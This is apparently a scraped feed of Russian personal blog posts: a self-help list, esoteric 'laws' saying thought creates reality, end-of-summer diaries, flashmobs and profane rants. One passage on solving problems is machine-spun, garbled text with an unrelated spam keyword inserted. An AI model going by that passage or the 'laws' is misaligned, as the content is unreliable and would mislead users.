Так как же сделать так, чтобы душевный покой из редкой удачи превратился в обычное состояние вашего сознания?

Советы по достижению внутреннего покоя.

1. Улыбайтесь. Улыбка способна открывать двери, превращать «нет» в «да» и мгновенно менять настроение (как ваше, так и окружающих). Улыбайтесь себе в зеркало. Улыбайтесь членам семьи, сотрудникам, всем, кто попадается вам на глаза. Улыбка излучает энергию любви – а что вы посылаете, то и получаете. Невозможно искренне улыбаться и в то же время испытывать злобу, грусть, страх или зависть. Улыбаясь, вы можете чувствовать лишь счастье и покой.

2. Упрощайте свою жизнь. Простота дает внутренний покой – благодаря тому, что вы правильно направляете свою энергию. Избавьтесь от всего, что вам не нужно, в том числе от связей и дружеских отношений, которые не дают вам ничего хорошего. Фокусируйтесь на том, что важно для вас. Не перегружайте себя чрезмерным количеством вещей, заданий и информации. Оставьте одну или две цели, которые для вас дороже всего

3. Будьте верным себе. Любите себя. Воплощайте свои мечты и самовыражайтесь. Найдите свое предназначение и исполняйте его.

4. Отпустите свой привычный взгляд на вещи, посмотрите на мир под другим углом. Ваша точка зрения не «закон», а лишь одна из множества точек зрения. Ваш взгляд на вещи может вызывать у вас стресс. Смотрите на мир ничем неограниченным взглядом, который говорит: «Я могу».

5. Медитируйте. Медитация учит вас психической и физической дисциплине, а также эмоциональному самоконтролю. Это легко и приятно, и это один из мощнейших инструментов саморазвития, которым вы можете воспользоваться хоть сейчас!

6. Знайте, что «и это пройдет». Перемены – часть жизни. Будьте спокойны и терпеливы – пусть все происходит естественно и органично. Развивайте в себе смелость, которая позволит вам фокусироваться на желаемых результатах, а не на проблеме.

7.. Выражайте благодарность. Выражайте благодарность за все «хорошее» и все «плохое», за все, что вы переживаете, чему учитесь и что перенимаете. Выражайте благодарность за все, что ждет вас в будущем. Позвольте окутать себя теплу и свету благодарности.

8. Достигайте мысленной тишины, произнося на выдохе протяжное «ш…ш..ш», словно вы имитируете легкий шум прибоя. Представляйте, как волны нежно омывают берег и откатываются назад, унося с собой в море ваши волнения. vk.com/public46202060

9. Доводите начатое дело до логического конца. Замыкайте круг. Неоконченные дела (непрощение, несказанные слова, незавершенные проекты и задачи) – тяжкий груз для вашего сознания, ощущаете вы это или нет. Каждое незаконченное дело забирает энергию у настоящего.

10. Слушайте, доверяйте и следуйте своей интуиции. Решение может на первый взгляд казаться правильным, но, в конечном итоге, не служить вашему высшему благу. Настройтесь на чувства, возникающие в вашем теле, когда вы принимаете решение. Если вы испытываете теплое, уверенное чувство «все будет хорошо» — значит, вы последовали своей интуиции. Если же вы испытываете тревогу или сомнения, это означает, что вы пошли против нее.

11. Живите в настоящем. Прошлого не вернешь, а будущее зависит от того, что вы думаете и делаете в данный момент. Так что уделяйте внимание настоящему, фокусируйтесь на том, чтобы делать все, что вы делаете, наилучшим образом, и просто живите. Не позволяйте жизни проходить мимо из-за того, что вы живете прошлым или будущим.

12. Не волнуйтесь. Сколько времени вы тратите на волнения о том, что «может случиться»? И что из этого действительно случилось (и сломало вам жизнь) ? Немногое, а то и вовсе ничего… не так ли? Фокусируйтесь на том, чего вы хотите, а не на том, чего не хотите.

13. Берегите свое здоровье. Заботьтесь о своем организме: выполняйте физические упражнения, играйте в спортивные игры, правильно питайтесь и выделяйте достаточно времени на сон. Добавляйте себе энергии ежедневными упражнениями и следите за своим самочувствием.

14. Утро вечера мудренее. Иногда, когда вы перегружены проблемами, заснуть не представляется возможным. Прежде всего, сделайте все возможное, чтобы физически устранить проблему. Если ничего сделать нельзя, обратитесь к энергетическому решению проблемы. Визуализируйте идеальное положение вещей (при котором данной проблемы не существует), пока проблема не исчезнет сама собой или пока к вам не придет решение.

15. В своей речи придерживайтесь принципов суфизма. Эта древняя традиция предусматривает, что вам следует говорить что-то, только если: 1) это правда 2) это необходимо и 3) это добрые слова. Если что-либо из того, что вы хотите сказать, не удовлетворяет этим критериям, не говорите этого.

16. Пользуйтесь кнопкой выключения. Избегайте информационной и сенсорной перегрузки. Выключите телевизор, смартфон, планшет, ноутбук, компьютер, mp3-плеер (если только вы не слушаете аудиозаписи для медитации или расслабления). Научитесь просто «быть», необязательно что-либо при этом «делая».

17. Используйте воображение. Построение жизни вашей мечты начинается в воображении. Именно там вы берете холст и краски и рисуете самую желанную жизнь!

18. Не делайте все одновременно. Делайте что-то одно, и делайте это хорошо. Во всем используйте целостный подход и прилагайте максимум усилий.

19. Начинайте с самого трудного. Не откладывайте дела на потом. Большое количество мысленной и эмоциональной энергии тратится впустую из-за страха перед делами, которых мы не хотим делать — утомительных, неприятных, сложных или пугающих. Разберитесь с ними – только как следует, наилучшим образом. А затем переходите к простым делам.

20. Соблюдайте баланс. Способствуйте достижению успеха и внутреннего покоя, поддерживая баланс в своей жизни.

21. Тише едешь – дальше будешь. Наслаждайтесь этим путешествием под названием «жизнь». Все случится, когда придет время. Уделяйте внимание каждому моменту жизни и цените его. Куда спешить? Как только вы достигнете цели, непременно появятся новые задачи и проблемы.

22. Умейте говорить «нет». Не позволяйте негодованию от ошибочно сказанного «да» нарушить ваш внутренний покой. Если вы будете перенапрягаться и делать что-то, что вызывает у вас стресс, вы будете злиться на человека, который попросил вас об этом, действовать не наилучшим возможным способом и уделять недостаточно внимания собственным обязательствам и желаниям.

1. Закон Создания

Мысль создаёт Всё. Зная этот закон, вы можете создавать всё осознанно, контролируя свои мысли и направляя их в нужное русло. Вы можете начать создавать желательное, а не как придется.

2. Закон Реализации

Любая мысль имеет право на реализацию. Если вас радуют ваши мысли, значит дайте им реализоваться. Не мешайте им сомнениями. Всё имеет право быть!

3. Закон Времени

У нас есть время, чтобы затормозить или отменить реализацию родившейся мысли. Кстати именно для этого и существует время. В связи с развитием вселенной, отрезок времени на отмену воплощения мысли сокращается с каждым днём.

Очень хорошо, что есть отрезок времени перед воплощением ваших мыслей. Представляете, если бы каждая ваша мысль исполнялась мгновенно?

Поэтому если начинаете думать о нежелательном, быстренько меняйте ход мыслей в сторону желательного, пока у вас есть на это Время.

4. Закон Свободы Выбора

Каждый имеет право думать то, что ему хочется, а следовательно создавать то, что ему хочется. Нет оценок, нет правил, нет ограничений….полная свобода выбора.
Хотите, чтобы исполнялись ваши желания? Позволяйте и не осуждайте желания других.

Если вы не позволяете другим, то автоматически не позволяете себе.

5. Закон Территории

Не одна чужая мысль или чужое создание не войдут в вашу жизнь без вашего мысленного позволения. Всё, что вы наблюдаете, создано или разрешено только вами!

Никто не виноват в том, что происходит в вашей жизни. Всё только с вашего разрешения. Так что даже не тратьте энергию на выяснения.

6. Закон Гармонии

Вселенная относится ко всем одинаково. У нее нет любимчиков или тех, кого она якобы наказывает. Всё едино.

Расслабьтесь и получайте радость от жизни. Абсолютно не нужно выслуживаться и быть хорошим перед кем-то.

7. Закон Группы

Мы все есть элемент чего-то. Ничто не бывает по одному. Ничего нет конечного или начального. Поэтому вы - это человек, город, страна, планета, галактика, вселенная и.т.д.

Просто приймите этот факт. И поймите, что, например, ваша тело - это тоже вселенная.

8. Закон Развития

Вселенная и все ее элементы и составляющие развиваются. Всегда так было, есть и будет. Помните, чтобы не случилось, вы всё успеете. Вы всегда развиваетесь и это очень приятная данность. Наслаждайтесь!

brotchenkova передала мне чертовски крутой флешмоб и мне повезло, что я успела узнать об этом дома и сделать фото, потому что в общежитии у меня только электронка. передаю chai-ptica, katrinstenly и littlesadpanda2: 3

Правила: Выложить фотографию двух книг из коллекции (суть именно в том, чтобы это были печатные книги) и обосновать свой выбор. Эстафету постить под тэгами «2 books» и «2 книги», чтобы было легче найти.

Начну с того, что сама я владею не очень большой библиотекой. То есть, у меня есть книги, которые достались ещё от бабушек и дедушек, парочку мне дарили родители, но сама я купила очень мало книг, что немного грустно. Читаю я в основом с электронки, а если хочется бумажный вариант, то беру в библиотеке или у друзей. Так вышло, что обе книги с фотографии — не мои. Но это не мешает мне в случае чего забрать их на необитаемый остров или просто отсеять в случае естественного книжного отбора :D Поехали :D

Властелин Колец: Две Твердыни. Я с детства любила фильмы по вк, а вот до книг всё не могла дойти. И вот я прочитала эти книги, и так вышло, что вторая часть как книги, так и фильма, мне понравилась больше всего. Я безумно люблю мир фэнтези, прям вот хлебом не корми, дай почитать про эльфов :D И как говорится, я состою из книги, которую прочитала последней, так вот ВК на данный момент как раз то, на чем я остановилась и эта история мне до безумия нравится. Пример прекрасной дружбы, ошибок, которые допускают все и всё это в суперкрутом мире, где люди живут +100500 лет, а реки и леса таят в себе магии больше, чем есть на вьюи :D

Гарри Поттер и Дары Смерти. Вот ГП у меня на русском все 7 в бумажном издании имеются, этим я горжусь :D А на английском не моя. И так как книги детства западают людям глубоко в душу, я не смогла этого избежать. Но я выбрала именно издание на английском, потому что есть свое очарование в произведении на языке оригинала. Кажется, будто в оригинале всё какое-то более реальное и ты погружаешься в атмосферу волшебства куда глубже, чем положено в 20 лет :D А ещё у Bloomsbury обложка симпатичнее, чем у РОСМЭНА :D И хотя 1 и 4 книги мне нравятся примерно на том же уровне, а может я люблю их даже больше, но именно на 7 книге история закончилась и оставила гигантский шрам от многочисленных смертей (спойлер? :D).

Вот она взрослая жизнь. Первого сентября никуда не надо, кроме работы. Учусь вроде два раза в неделю. Получаю деньги - отдаю долги, отдаю долги - снова занимаю, учеба меня связала по рукам и ногам

Добрый вечер. Сегодня хотелось бы рассказать об ошибках. Каждый человек когда-то совершал ошибки. Осознанно или нет, он это делал, знает только он сам, и то, как сказать знает. Если ошибку совершаешь осознанно, это скорее всего даже не столько ошибка, а какая-то жертва. Так что ошибки в основном совершаются по - глупости, необдуманности своих действий или же ты просто невезучий. Человек понимает, что совершил ошибку только тогда, когда он уже это сделал, как бы глупо и банально не звучало, но не все могут это понять, а самое главное признать. Чтобы признать свои ошибки нужно большое усилие воли, ты так сказать "переступаешь" через самого себя, но полдела признать ошибки, нужно еще понять их, раскаяться, и самое главное приложить все усилия, чтобы их не повторить. Ошибки могут быть незначительные, а могут быть такими огромными, что от этого зависит ваша жизнь, ну или как минимум текущее положение ваших дел. Ошибки в жизни неизбежны, просто нужно уметь их понимать и не повторять, иначе все, чего вы достигаете в жизни, в один прекрасный момент рухнет и не вернется к вам, просто потому что вы не смогли вовремя обернуться назад и увидеть свои "косяки" и не смогли понять их, признать и переосмыслить.
Стоит отметить, что есть такой тип людей, которым пока не дашь хорошенького "пинка под зад" они не станут ничего делать. И не только касается работы над ошибками, работы над собой, а всего. Такие люди, как правило, не хотят ничего, они не знают чего хотят от жизни, чего хотят достичь и добиться, такие люди вообще мало чего добиваются, а если и добиваются то путем самообмана, обмана и иллюзий. Причем они сами и создали их, и начинают в последствии верить в это. Самая большая ошибка такого человека - верить в собственную ложь, а вследствие чего он совершает самую большую ошибку в своей жизни. Он лжет всем вокруг себя родителям, друзьям, любимым людям, себе. Людям свойственно ошибаться, но есть те кто хочет исправиться, есть те кому это на хрен не надо, а есть те кому это надо, но пока им не дадут "подсрачник" они будут сидеть и само уничтожаться.В завершении хотелось бы сказать, что какими бы ошибками не наделяла вас жизнь, какие бы ошибки вы не делали сами, чтобы с вами не происходило, нужно принять это все, осознать и сделать выводы, иначе все эти сложности и удары судьбы будут напрасны, хотя судьба просто так ничего не подкидывает, она подкидывает вам ровно то, что вы заслужили. Мир всем.

Все, лето закончилось. Утро я провела в Новоульяновске. Лежала на лужайке в объятиях А и просто наслаждалась происходящим. Вечером гуляли с Женей, покупали ему вещи и продукты. Иногда мне кажется, что мы как парочка. Но я правда его обожаю. В один объявились Влад и Шлен Владу я очень рада, скучаю по нему. А вот с Ш как всегда драма. Он решил попросить прощения за все, что сделал. Хочет общаться. Я за него рада. Но мне это не нужно. Пусть он будет счастлив. Но теперь мы играем по моим правилам.

Неужели я вернулась домой… За прошлый год я так привыкла жить одна, что два месяца лета дома у мамы для меня были каторгой.
26.08.2015 я вернулась в Красноярск. Как же я рада. Тут то все свое, родное. Могу сидеть где хочу, кидать вещи куда хочу, приходить домой во сколько хочу… В общем, полная свобода действий. Счастью нет придела :)

офигеть, он удалил меня из друзей на фейсбуке.ахах блин, я таам правда так часто бываю… но все равно - обидно. в вк не добавляется, а в фб удалил..

как хотелось остаться в небе

слушаю сейчас песни этого лета, и на душе чувство такой счастливой грусти, как будто я прощаюсь с кем-то родным на какое-то время, понимаете, о чем я? летом 2013 года мне было плохо, летом 2014 года мне было очень плохо, в мае я думала, что этим летом мне будет еще хуже, но в июне все перевернулось на 360 градусов. не скажу, что всегда было все хорошо, я наделала много ошибок, но не обо всех ошибах я жалею, некоторые были просто пекрасными, жалею лишь о том, что сама упустила самого важного человека в своей жизни. но, несмотря на это и сравнивая с прошлыми годами, это лето было хорошим, потому что

— я познакомилась с кучей новых людей, которые сделали это лето ярким, они пронеслись как ураган в моих серых буднях, и хоть сейчас я с ними уже и не вижусь, я благодарна им за то, что они помогли мне очнуться и подарили мне безумно веселые воспоминания

— у меня была класссная практика, 2 недели с животными были запоминающимися и интересными. но самое сложное в практие для меня не сама практика, а заполнение дневника) кстати, я еще даже не начинала)

— я впервые за оооооооооочень долгое время каталась на аттракционах, с детства их боюсь, еще с Аней скатали в Сестрорецк и несколько часов сидели на берегу Финского залива, внушая себе, что это море

— в августе снова начала общаться со своими мальчишками, котрых знаю класса с 8, они уже взрослые такие, поступили в магистратуру. ходим с ними вечерами по городу, смеемся, смотрим на падающие звезды или сидим у меня и смотрим фильмы

— побывала в Новгороде, опробовала домашний сидр и домашнее вино (не идут в сравнение с магазинными), прочувствовала Русь

— а еще многое поняла для себя, последнюю неделю отказалась от самокопания и самобичивания, а особенно от постоянного нытья. не ныть приятно. а что поняла, если смогу объяснить, то напишу в другом посте

в общем, со стороны кажется, что ничего такого в этом лете и нет, лето как лето, самое обычное. на самом деле нет, этим летом я не была одна. и я ни о чем не жалею…ну, почти.

инстаграм и если хотите пообщаться


Прощай, лето.

Вот и все. Конец. 31 августа. 21:07 по киевскому времени. И я не чувствую окончания. Такое чувство, будто завтра мне не нужно вставать в 6:30, чтоб пойти в школу. Будто завтра я опять проснусь в час дня и пойду гулять с друзьями. Мне так будет этого не хватать. Это лето было одним из лучших в моей жизни.

Что я сделала за это лето (самое важное выделить) :

— вернулась на viewy;
- отлично сдала экзамены;
- нашла новых друзей;
- начала заниматься химией;
- помогала устраивать сюрпризы подругам на дни рождения;
- начала заниматься бумажными письмами;
- подтянула "навыки" рисования;
- встречалась с Я.;
- была в Киеве, Харькове и на Донбассе;
- увидела родственников.

Возможно, это немного, и я могла бы сделать намного больше. Но для меня это лето - полная куча незабываемых моментов, приключений, веселья, шуток, счастья.


Желаю вам хорошего начала учебного года!
♥ спасибо ♥

Как все-таки здорово, что у меня есть такие друзья, которые ценят нашу дружбу. И здорово, что не смотря на расстояние и редкие встречи, общение остается таким же легким и приятным

Эта кирпичного вида дама еще и заходит ко мне на страницу, лайкает мои фотки! Ептвою мать! Я себе такого дерьма никогда не позволяла! Никогда, блять. Ладно заходить, хуй с ним, но фото оценивать. Да она ебанулась

Хер там. Она откуда про меня узнала? Ей дебил этот рассказал? Мол, мы поругались, это все ты, моя прекрасная фея (как на картинке). Зачем он ей рассказал? Почему бы не оставить меня в покое? Я послала тебя нахер, стараюсь забыть, как страшный сон. Знаете что? Идите оба нахуй, зачем вы лезете ко мне, напоминаете о себе?? Идите НАААААААХУУУУУУУЙ!

Ебитесь все в душистом сене

С любовью, Ваш, Сергей Есенин

просто пишу сюда, чтобы ему не писать. завтра сломаю ему нос

3 Summer Things.

Приняла от daria-snow.
Передаю augustowski-,
horran и lonely-hearts.


Правила: называем 3 слова (это может быть либо существительное, либо глагол), которые ассоциируются с этим летом и кратко обосновываем свой выбор. Постим под тэгом "3 summer things".

Ночи…

…а точнее, бессонные ночи. Никогда в своей жизни еще не спала так мало, как этим летом. Ночью мы смотрели фильмы, разговаривали, забирались на гору, или просто сидели и пили чай в уютном корпусе лагеря. И было совсем не жаль, что сплю я 3-4 часа за день, зато теперь есть что вспомнить.

Улыбки…

…в том числе и детские, и взрослые. Очень приятно, когда ты едешь на выходной - и тебя рада видеть мама, а возвращаясь с него - на тебя налетает куча людей, которые хотят обнять, а другие просто стоят и улыбаются. Это правда здорово. Наверное, я уделила целых 2 пункта лагерю, потому что именно там и провела большую часть своего лета.

Ожидание…

…этот режим был включен еще весной, но летом заработал в полную мощность. Ожидание чего-то прекрасного, чего-то волшебного, чего-то, о чем я буду вспоминать еще долгое время, и что будет греть меня холодной зимой. И, несомненно, таких воспоминаний уже много, а после поездки будет еще больше.

Лета не будет ещё около 270 дней, но мне плевать. Я больше не стану считать дни до первого июня, мне не зачем этого ждать. Всё, чего я ждала всю свою жизнь, уже со мной. Теперь я счастлива круглый год, пусть будет темно за окном по утрам, пусть мокро, пусть всё жёлтое, потом белое, потом светло-зелёное. Теперь я считаю только до нашей встречи.

Сделала вывод из своей недолгой жизни: лучше быть с человеком, который немного к тебе равнодушен. От него не приходится много ждать. Быть с человеком, который тебя превозносит, это как стоять на краю обрыва. Да, вид красивый. Но падать будет больно.

Встретились с Элей и ее соседкой. Пошли встречать на остановку Колю и Пашу. Они приехали к нам, чтобы перетащить мне холодильник. Зашли в местный магазинчик, купили картошки и сосисок.

Сказала на входе, что они уйдут через минут 5 и их пропустили. Отварили картошечку, залили кетчупом и ели это чудо с сосисками. ЭТО БЫЛО ТАААААААК ВКУСНО! Я ВКУСНЕЕ НИЧЕГО НЕ ЕЛА В ЖИЗНИ! Они перенесли мне холодильник. Решили, что было бы хорошо погулять, но сначала зашли к Эле и установили ей принтер. Девочки не пошли с нами, но это ничего.

Поймали Данила у другой общаги, забрали его с собой. Уломала Колю купить мне Мальборо. Ооооо да, мне купили целую пачку! Поехали в найк дисконт. Ничего не нашли, но заставила парней зайти в соседний магазин. нашла там крутую футболку с Есениным, и по решению Коли и Паши купила ее. Данил проголодался, поэтому зашли в пиццу. Ахрененно дешевая и вкусная пицца.

Потом Коля сказал, что есть супер книжный в подвале. МЫ БЫЛИ ТАМ ЧАСА 2! Там действительно есть книги по приемлемым ценам. Плюсом еще потрясающий продавец лет 50-ти, который заинтересован в своей работе. Он еще по образованию филолог. Купила там сборник Брэдбери и книгу Булгакова.

Гуляли по набережной, смеялись и фоткались на фоне реки. Теперь у нас новая шутка, что мы в Питере, но об этом никто не знает.

Решили, что на мой день рождения вчетвером пойдем в бар на ночь. Пашка купит нам вино и мы будем отрываться. Может, еще моя Казанцева пойдет. тогда я буду действительно самым довольным котом.

Так и прошел последний день такого трудного лета.

Я обожаю этот день.

Одинокий мыслитель однажды промолвил: «Большие проблемы далеко не всегда бывают долговременными, а мелкие – не заслуживают того, дабы на них концентрировали внимание». Не зацикливайтесь на своей дилемме, насколько бы остро она не стояла. Систематически помышляя над животрепещущей задачей, представляя ее перед своими глазами, поднимая ее важность, вы сознательно программируйте свой мозг на затруднительное ее решение. Пустите от себя неприятность, представляя в воображении, как будто от вас отъединился миниатюрный комочек, под названием «трудность», и также как вы это незначительно ножкою метнули ввысь и отбросили от себя на дальнее расстояние. Когда же вы отыщите решение проблемы, то возвратитесь точно также в уме к данному комку и пинайте его ногами. Тем самым ваше разумение запомнит, то что затруднения больше не существует, и в настоящей жизнедеятельности эта процедура тоже неощутимо решится в ближайшие дни, нужно быть только лишь в подобном уверенным.

Посоветуйтесь с профи по разрешению сложностей – специалистом по психологии или психотерапевтом. В развитых странах положено решать всевозможные трудности совместно с своим психологом – это в целом не только лишь дань моде в нынешней жизни, но и относительно повседневная процедура – подобно как сдать кровь на исследование или посетить парикмахерскую - как убрать растяжки после родов. В нашем государстве функцию личного специалиста по психологии часто несут подруги, косметологи и т.п. Однако вовсе не постоянно можно поведать другу о трудности, которая мешает жить. Для этой цели направитесь в центр психологии, в котором вам подыщут профессионала, и вы сможете не только лишь пообщаться об этом ним.

Решайте трудности только на свежую голову. Если уж вы спите, мысля о дилемме и потом пробуждаетесь с такой же мыслью, следовательно вам тут же необходимо отдохнуть. Проедьте погостить к далеким родственникам, либо в короткое паломничество к морю. Переделка ситуации будет играть позитивную роль в решении различных проблем.

Каким образом отделаться от трудностей -?

Проблема – сложный вопрос, разноречивая ситуация, требующая разрешения.

"Никогда не бойтесь перемен, они случаются именно тогда, когда они необходимы в Вашей жизни. Перемены разрушают и чистят всю прошлую жизнь, чтобы потом построить на этом чистом участке что-то новое."

Отношения должны на чем-то строиться. Окей, сегодня будет кратко - сразу к делу: на одном сексе далеко не уедешь, но зато как уедешь… Мм :)

Да, прямо сейчас я снова дома у Т, и мы снова по-человечески не поговорили, но зато дважды за вечер умопомрачительно, с животным голодом, любили друг друга :)

Я ненавижу эти разговоры по душам с мамой. Ненавижу! НЕНАВИЖУ! Она начинает за всё извиняться, говорить всякий бред, "найдётся какой-нибудь олух, который будет тебя шантажировать" и бла-бла-бла. А я даже не уверена, что я олуха способна привлечь ха-ха-ха

Просто терпеть не могу, у меня вся душа кипит. Я уже давно не нуждаюсь в излиянии души своей маме, у меня есть этот блог. Это, наверное, жутко звучит, но это правда.

Зачем любить, зачем страдать, давай в свои блоги писать (о любви и страдании).

3 summer things

Приняла от Даши, передаю greyoceans, resistance, misguidedghost и body-electric.

Правила: называем 3 слова (это может быть либо существительное, либо глагол), которые ассоциируются с этим летом и кратко обосновываем свой выбор. Постим под тэгом "3 summer things".

1 . Пешком.

Да, это не сущ-ное и не глагол. Но этим летом в одну руку я брала рюкзак, а другой цеплялась за руку подруги и тащила ее куда не попадя. Нет, мы не прошли весь город и многие места так и остались незачеркнутыми в моем маленьком списке летних вещей (на самом деле этот список всего лишь в моей голове). К примеру, я так и не смогла узнать, где в городе можно спокойно пройти на открытую крышу или мы так и не добрались до самых дальних улочек, но все же это было круто: включать шагомер, покупать еду с собой, открывать красивейшие места в самых неприметных уголках и просто под конец прогулки падать от усталости, но зато какой приятной усталости.

2 . Занятость.

По правде говоря, не такая я уж занятая. Первый месяц лета я вроде как сдавала сессию (на самом деле я просто приходила на экзамен, протягивала зачетку и уходила ибо автомат, ха, а так смотрела двух девиц на мели), в июле я проходила практику в одной фирме с чудесным коллективом, лучшей подругой и двумя веселыми одногруппниками (это нельзя назвать практикой, это можно назвать "угаром" и хорошо проведенным временем!), а август я просто как-то внезапно начала подрабатывать на работе у своего брата. И как-то (скорее это влияние последнего месяца) я не заметила, как прошли все три месяца. Просто я приходила домой, кушала, принимала душ и сразу же засыпала. Зато спала как убитая за счет своей усталости! Нет, я не ездила куда отдыхать, хотя была возможность, которую я, мягко говорю, просрала, о чем позднее жалела, но есть и свои плюсы - у меня появился свой собственный бюджет :) В общем, первый пункт кое-как связан со вторым.

3 . Музыка.

Я долго не знала, каким же словом назвать третий пункт и пришла к выводу, что "музыка" - самое функциональное существительное, так сказать.
Как бы без разницы какую музыку слушаешь в какое время - она всегда остается той же и вызывает те же эмоции. Просто это лето запомнилось мне по потрясающим именно летним трекам, которые я то и дело крутила у себя в голове и в плеере.
Вот вам небольшой список песен, которые запомнились мне как лето'15. Enjoy :)

major lazer & dj snake – lean on (feat. MØ ;)
lana del rey - high by the beach
major lazer – be together (vanic remix)
jack u – get free / cinema vip
lost frequencies – are you with me
kygo – stole the show (feat. parson james)
galantis – in my head
icona pop – emergency
zedd – beautiful now (feat. jon bellion)
elliphant – best people in the world
twenty one pilots – message man
foals - mountain at my gates
the weeknd - the hills

ну да, немножко я погорячилась с песнями и это не НЕБОЛЬШОЙ список, но все же, надеюсь, что вы неплохо провели эти три месяца, набрались сил и готовы покорять новые вершины. (да, сейчас у меня что-то хорошее настроение, хотя завтра вставать в шесть утра и пилить на работку).
всем любви, ребят

Ребят, я, кажется, совершила невозможное. Я перевелась в другой университет. За сутки. Ездила, как сумасшедшая, из города в город, но сделала и сдала всё. И, боже, я чувствую себя ужасно. Я постоянно паникую, нервничаю, срываюсь на каждой мелочи из-за нервотрепки в - уже прошлом - институте. Почему всё самое долговечное и стоящее случается с бухты-барахты? ПОЧЕМУ? Я хочу хоть что-то планировать, но всегда, всегда все ломается. А непредвиденное в моей жизни всегда укореняется. Фак.

Теперь мне за месяц нужно сдать 11, мать их, предметов академразницы, как-то уладить вопрос с непостоянной работой и не сойти с ума от страха. Я ужасно боюсь этого огромного университета, боюсь новых людей, нового всего. Я ненавижу перемены, но жизнь моя сводится к тому, что, как только я достигну какой-то стабильности, в жизни случается катастрофа. Причем длительность катастрофы не сравнить с длиной стабильности - первая длится куда дольше. А потом расхлебываю последствия.

Мне очень страшно.

thenorthface , пожалуйста, прекрати страдать и мучиться из-да этого человека.
это НЕ мое дело, это НЕ должно меня волновать, но фраза "ты никому не будешь нужна" вывела из себя. она отвратительна. говорю так потому, что слышала то же самое, эту мерзкую фразу, которая в моем случае была выставлена в том свете, что кроме этого конкретного человека я никогда и никому не буду нужна или необходима. в принципе это такое же гадкое отношение, как и в твоем случае.
шли его нахуй, не просто шли, а сама пойми, что он должен быть ТАМ, а не здесь (не в том мифическом "здесь", которое всегда с тобой).

Последний летний день. Мои "обожаемые" зубы мудрости разбарабанили верхние дёсны до крови. Половина ротовой полости распухла. Ни кушать, ни говорить не могу. Периодически трясёт от температуры. Чувствую себя отвратительно. Весь день на ногах, то дела, то учёба. Дико злая от боли и от пустого желудка, в котором плещется тонна таблеток и сто литров воды. Мне категорически нельзя сейчас болеть, т.к. на носу две учёбы и проектная работа! Молю вселенную, чтобы эти мучения закончились на этой неделе!

Теряешься и вновь находишь себя на улицах Праги. Забавно было сегодня приехать не туда, а потом вернуться в центр и просто случайно встать на трамвайной остановке, посмотреть расписание и увидеть нужную тебе остановку буквально в пяти минутах от тебя (без всяких там подсказок, гугла и путеводителей). Скажу честно, мне очень тяжело проникнуться этим городом, потому как сама Прага, не считая Пражский Град, ну очень похожа на центр Питера, разве что крыши черепичные. И вот я еду в трамвае, а по ощущениям, что как будто дома. И так все дни, что я здесь уже провела. Но сегодня, поднявшись на здоровенную смотровую башню, рассмотрев город и просто прогуливаясь по улочкам, я машинально сделала фото тротуара и витрины, и как будто внутри меня что-то ёкнуло, и я поняла: вот он, тот самый момент, когда всё встает на свои места, когда город открывается тебе настоящим, когда ты никуда не торопишься и просто смотришь на жителей и архитектуру. Этот момент - доля секунды, но ради него и стоит куда-либо ехать, момент, когда что-то внутри тебя откликается всему происходящему, и ты просто благодаришь судьбу за то, что все пазлы сложились, выпали нужные карты, и ты, как и хотел, оказался в нужном месте в нужное время.

Школа кончилась, а эти потрясающие парни даже в чужом городе делают меня в миллион раз счастливее! Я так счастлива, что провела последний день с ними.

И да, у меня ЕБАНАЯ соседка. Баба, тебе 24 года, а ты ноешь из-за того, что я передвинула твой холодильник. Меня бесит даже то, как она ДЫШИТ. Ну чем я нагрешила в прошлой жизни???

знаешь, милая, что мне приснилось?
где-то там далеко-далеко
бьются дикие волны о скалы
и все звёзды ведут хоровод.
эти звёзды так странно манили
всё вокруг озарялось во тьме
звуки колокола нас уводили
по затерянным водам к Земле
" что за странная ночь?"- повторял я,
" ей нет края, ей нет конца",
там мне встретится лошадь седая,
потерявшая где-то гонца
то над лесом несётся молитва-
то я слышу, как плачет зурна,
то юродивый ржавой бритвой
на губах вырезает слова.
ветер гнал меня в спину и скоро
я без чувств всё ж упал на кровать.

Я бы хотела, чтоб на этот раз все получилось. Я бы хотела, чтобы меня знали его друзья и завидовали ему. Я бы хотела тайком прибегать в его общежитие, я бы хотела гулять с ним за руку. Я хотела бы подружиться с его лучшей подругой и чтобы он побывал у меня дома. Я бы хотела драться с ним подушками, а потом лежать в обнимку. Я хотела бы зимой валить его в снег, а жарким летом визжать, когда он будет поливать меня водой. Я увижу завтра этого человека, и я хочу, чтобы нас увидели вместе. Я хочу, чтобы шептались. Но о своей влюбленности скажу лишь паре человек. Если что-то получится. Нет, не так. Когда все получится. Завтра неимоверно важный день. Помоги мне завтра, Господи. Пусть 1 сентября станет для меня радостью и знаменательной датой. Скажите мне, что это именно тот, кого я ждала в одиночестве, пока все остальные покупали в аптеке презервативы. Скажите, что это моё.

Три слова этого лета

приняла от: enka

(в тысячный раз спасибо за еще один переданный чудо-флешмоб)

передаю: каждому желающему из моей ленты

но в первую очередь моей любимейшей миледи

(только попробуй теперь не сделать)

— Узнавать: Узнавать пришлось многое. Начиная с того, что в голове наконец-то закрепилась дата начала правления Романовых и еще десятки других событий, которые пришлось туда впихнуть, решив сдавать историю вместо литературы. Наш учитель законченный нарцисс, но преподает достойно. Корпит над своей работой до такой степени, что печатает портреты-наклейки деятелей истории, чтобы мы вклеивали в тетрадь. Весь прошлый год спрашивала себя, зачем нужна эта ерунда. Больше не задаюсь таким вопросом. Чуточку узнала, что значит быть журналистом, за что вновь спасибо нашему журналу. Узнала чувство, когда твоя мечта сбывается. Узнала, что значит скучать до степени грызения локтей. Узнала, что значит сидеть на рутинной и унылой работе изо дня в день. Узнала, что значит читать чужую переписку. Узнала еще тысячу вещей о себе.

— Дальше: Мне не нравится все чаще возникающие вопросы "Каким ты видишь свое будущее? Куда ты пойдешь в ближайшем будущем?". Я его до сих пор никаким ясным и определенным не вижу. Лето было олицетворением слова "будущее" и с началом осени его концентрация в жизни лишь усилится. Мне приятнее вопрос "Что будет дальше?". Слово "дальше" для меня - это как будто часть повествования какой-то крутой истории, а также надежда на то, что и моя жизнь будет длинной и в большем доброй историей

— Панакота: Мне на день рождения приготовили панакоту с кокосом, абрикосами и джемом. Это настолько необыкновенная штука, до последнего момента выглядевшая чуточку неаппетитно, что я упоминаю ее при любой возможности, но ни разу за лето так и не попробовала приготовить ее самостоятельно. Слово "панакота" - это главное слово моего лета, потому что ассоциируется оно со всеми вкусными блюдами, приготовленными за лето, всеми ламповыми вечерами и моментами ничем неиспорченного счастья.

надоели ныть о том что завтра сентябрь и надо на учебу/проебали лето/нужно еще одно лето..

